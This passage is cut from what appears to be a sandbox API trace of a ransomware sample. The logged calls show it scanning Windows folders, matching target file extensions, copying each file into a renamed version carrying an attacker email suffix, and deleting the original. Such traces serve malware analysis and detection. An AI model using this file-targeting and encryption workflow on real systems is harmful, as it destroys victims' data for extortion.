lpString2=".ini") returned -1 [0286.270] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.270] lstrlenW (lpString=".1cd") returned 4 [0286.270] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0286.270] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.270] lstrlenW (lpString=".jpg") returned 4 [0286.270] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0286.270] lstrcmpiW (lpString1=".LOG", lpString2=".com") returned 1 [0286.270] lstrlenW (lpString="BCD.LOG") returned 7 [0286.270] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.270] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.270] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.270] lstrlenW (lpString=".doc") returned 4 [0286.270] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0286.270] lstrlenW (lpString=".docx") returned 5 [0286.270] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0286.270] lstrlenW (lpString=".pdf") returned 4 [0286.271] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0286.271] lstrlenW (lpString=".xls") returned 4 [0286.271] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0286.271] lstrlenW (lpString=".xlsx") returned 5 [0286.271] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0286.271] lstrlenW (lpString=".ppt") returned 4 [0286.271] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0286.271] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.271] lstrlenW (lpString=".zip") returned 4 [0286.271] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0286.271] lstrlenW (lpString=".rar") returned 4 [0286.271] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0286.271] lstrlenW (lpString=".bz2") returned 4 [0286.271] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0286.271] lstrlenW (lpString=".7z") returned 3 [0286.271] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0286.271] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.271] lstrlenW (lpString=".dbf") returned 4 [0286.271] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0286.271] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.271] lstrlenW (lpString=".1cd") returned 4 [0286.271] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0286.271] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.271] lstrlenW (lpString=".jpg") returned 4 [0286.271] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0286.271] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.271] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.271] lstrlenW (lpString=".doc") returned 4 [0286.271] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0286.271] lstrlenW (lpString=".docx") returned 5 [0286.271] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0286.271] lstrlenW (lpString=".pdf") returned 4 [0286.271] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0286.271] lstrlenW (lpString=".xls") returned 4 [0286.271] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0286.271] lstrlenW (lpString=".xlsx") returned 5 [0286.271] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0286.271] lstrlenW (lpString=".ppt") returned 4 [0286.272] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0286.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.272] lstrlenW (lpString=".zip") returned 4 [0286.272] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0286.272] lstrlenW (lpString=".rar") returned 4 [0286.272] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0286.272] lstrlenW (lpString=".bz2") returned 4 [0286.272] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0286.272] lstrlenW (lpString=".7z") returned 3 [0286.272] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0286.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.272] lstrlenW (lpString=".dbf") returned 4 [0286.272] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0286.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.272] lstrlenW (lpString=".1cd") returned 4 [0286.272] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0286.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0286.272] lstrlenW (lpString=".jpg") returned 4 [0286.272] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0286.272] Sleep (dwMilliseconds=0x64) [0286.731] Sleep (dwMilliseconds=0x64) [0287.018] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.018] lstrlenW (lpString="BL00148_.WMF") returned 12 [0287.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.019] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1696) returned 1 [0287.019] CloseHandle (hObject=0x10b0) returned 1 [0287.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0287.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0x20 [0287.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.019] lstrlenW (lpString=".doc") returned 4 [0287.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.019] lstrlenW (lpString=".docx") returned 5 [0287.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.019] lstrlenW (lpString=".pdf") returned 4 [0287.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.019] lstrlenW (lpString=".xls") returned 4 [0287.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.019] lstrlenW (lpString=".xlsx") returned 5 [0287.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.019] lstrlenW (lpString=".ppt") returned 4 [0287.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.019] lstrlenW (lpString=".zip") returned 4 [0287.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.019] lstrlenW (lpString=".rar") returned 4 [0287.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.019] lstrlenW (lpString=".bz2") returned 4 [0287.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString=".7z") returned 3 [0287.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.020] lstrlenW (lpString=".dbf") returned 4 [0287.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.020] lstrlenW (lpString=".1cd") returned 4 [0287.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.020] lstrlenW (lpString=".jpg") returned 4 [0287.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.020] lstrlenW (lpString=".doc") returned 4 [0287.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString=".docx") returned 5 [0287.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.020] lstrlenW (lpString=".pdf") returned 4 [0287.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString=".xls") returned 4 [0287.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.020] lstrlenW (lpString=".xlsx") returned 5 [0287.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.020] lstrlenW (lpString=".ppt") returned 4 [0287.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.020] lstrlenW (lpString=".zip") returned 4 [0287.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.020] lstrlenW (lpString=".rar") returned 4 [0287.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.020] lstrlenW (lpString=".bz2") returned 4 [0287.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.021] lstrlenW (lpString=".7z") returned 3 [0287.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.021] lstrlenW (lpString=".dbf") returned 4 [0287.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.021] lstrlenW (lpString=".1cd") returned 4 [0287.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0287.021] lstrlenW (lpString=".jpg") returned 4 [0287.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.021] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.021] lstrlenW (lpString="BL00296_.WMF") returned 12 [0287.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.021] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=812) returned 1 [0287.021] CloseHandle (hObject=0x10b0) returned 1 [0287.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0287.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0x20 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString=".doc") returned 4 [0287.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString=".docx") returned 5 [0287.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.022] lstrlenW (lpString=".pdf") returned 4 [0287.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString=".xls") returned 4 [0287.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.022] lstrlenW (lpString=".xlsx") returned 5 [0287.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.022] lstrlenW (lpString=".ppt") returned 4 [0287.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString=".zip") returned 4 [0287.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.022] lstrlenW (lpString=".rar") returned 4 [0287.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString=".bz2") returned 4 [0287.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString=".7z") returned 3 [0287.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString=".dbf") returned 4 [0287.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString=".1cd") returned 4 [0287.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString=".jpg") returned 4 [0287.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.022] lstrlenW (lpString=".doc") returned 4 [0287.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.022] lstrlenW (lpString=".docx") returned 5 [0287.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.023] lstrlenW (lpString=".pdf") returned 4 [0287.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.023] lstrlenW (lpString=".xls") returned 4 [0287.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.023] lstrlenW (lpString=".xlsx") returned 5 [0287.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.023] lstrlenW (lpString=".ppt") returned 4 [0287.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.023] lstrlenW (lpString=".zip") returned 4 [0287.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.023] lstrlenW (lpString=".rar") returned 4 [0287.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.023] lstrlenW (lpString=".bz2") returned 4 [0287.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.023] lstrlenW (lpString=".7z") returned 3 [0287.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.023] lstrlenW (lpString=".dbf") returned 4 [0287.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.023] lstrlenW (lpString=".1cd") returned 4 [0287.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0287.023] lstrlenW (lpString=".jpg") returned 4 [0287.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.023] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.023] lstrlenW (lpString="BL00390_.WMF") returned 12 [0287.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.024] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=0) returned 1 [0287.024] CloseHandle (hObject=0x10b0) returned 1 [0287.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.024] lstrlenW (lpString=".doc") returned 4 [0287.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.024] lstrlenW (lpString=".docx") returned 5 [0287.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.024] lstrlenW (lpString=".pdf") returned 4 [0287.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.024] lstrlenW (lpString=".xls") returned 4 [0287.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.024] lstrlenW (lpString=".xlsx") returned 5 [0287.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.024] lstrlenW (lpString=".ppt") returned 4 [0287.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.024] lstrlenW (lpString=".zip") returned 4 [0287.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.024] lstrlenW (lpString=".rar") returned 4 [0287.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.024] lstrlenW (lpString=".bz2") returned 4 [0287.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.024] lstrlenW (lpString=".7z") returned 3 [0287.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.024] lstrlenW (lpString=".dbf") returned 4 [0287.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.024] lstrlenW (lpString=".1cd") returned 4 [0287.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.024] lstrlenW (lpString=".jpg") returned 4 [0287.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.025] lstrlenW (lpString=".doc") returned 4 [0287.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString=".docx") returned 5 [0287.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.025] lstrlenW (lpString=".pdf") returned 4 [0287.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString=".xls") returned 4 [0287.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.025] lstrlenW (lpString=".xlsx") returned 5 [0287.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.025] lstrlenW (lpString=".ppt") returned 4 [0287.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.025] lstrlenW (lpString=".zip") returned 4 [0287.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.025] lstrlenW (lpString=".rar") returned 4 [0287.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString=".bz2") returned 4 [0287.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString=".7z") returned 3 [0287.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.025] lstrlenW (lpString=".dbf") returned 4 [0287.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.025] lstrlenW (lpString=".1cd") returned 4 [0287.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0287.025] lstrlenW (lpString=".jpg") returned 4 [0287.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.026] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.026] lstrlenW (lpString="BL00392_.WMF") returned 12 [0287.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.026] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=27050) returned 1 [0287.026] CloseHandle (hObject=0x10b0) returned 1 [0287.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0287.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.026] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.026] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0287.027] GetLastError () returned 0x0 [0287.027] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x69aa, lpOverlapped=0x0) returned 1 [0287.038] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x69b0, lpOverlapped=0x0) returned 1 [0287.039] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.039] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.039] SetEndOfFile (hFile=0x10b4) returned 1 [0287.039] CloseHandle (hObject=0x10b4) returned 1 [0287.040] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.040] SetEndOfFile (hFile=0x10b0) returned 1 [0287.041] CloseHandle (hObject=0x10b0) returned 1 [0287.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0287.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.042] lstrlenW (lpString=".doc") returned 4 [0287.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.042] lstrlenW (lpString=".docx") returned 5 [0287.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.042] lstrlenW (lpString=".pdf") returned 4 [0287.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.042] lstrlenW (lpString=".xls") returned 4 [0287.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.042] lstrlenW (lpString=".xlsx") returned 5 [0287.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.042] 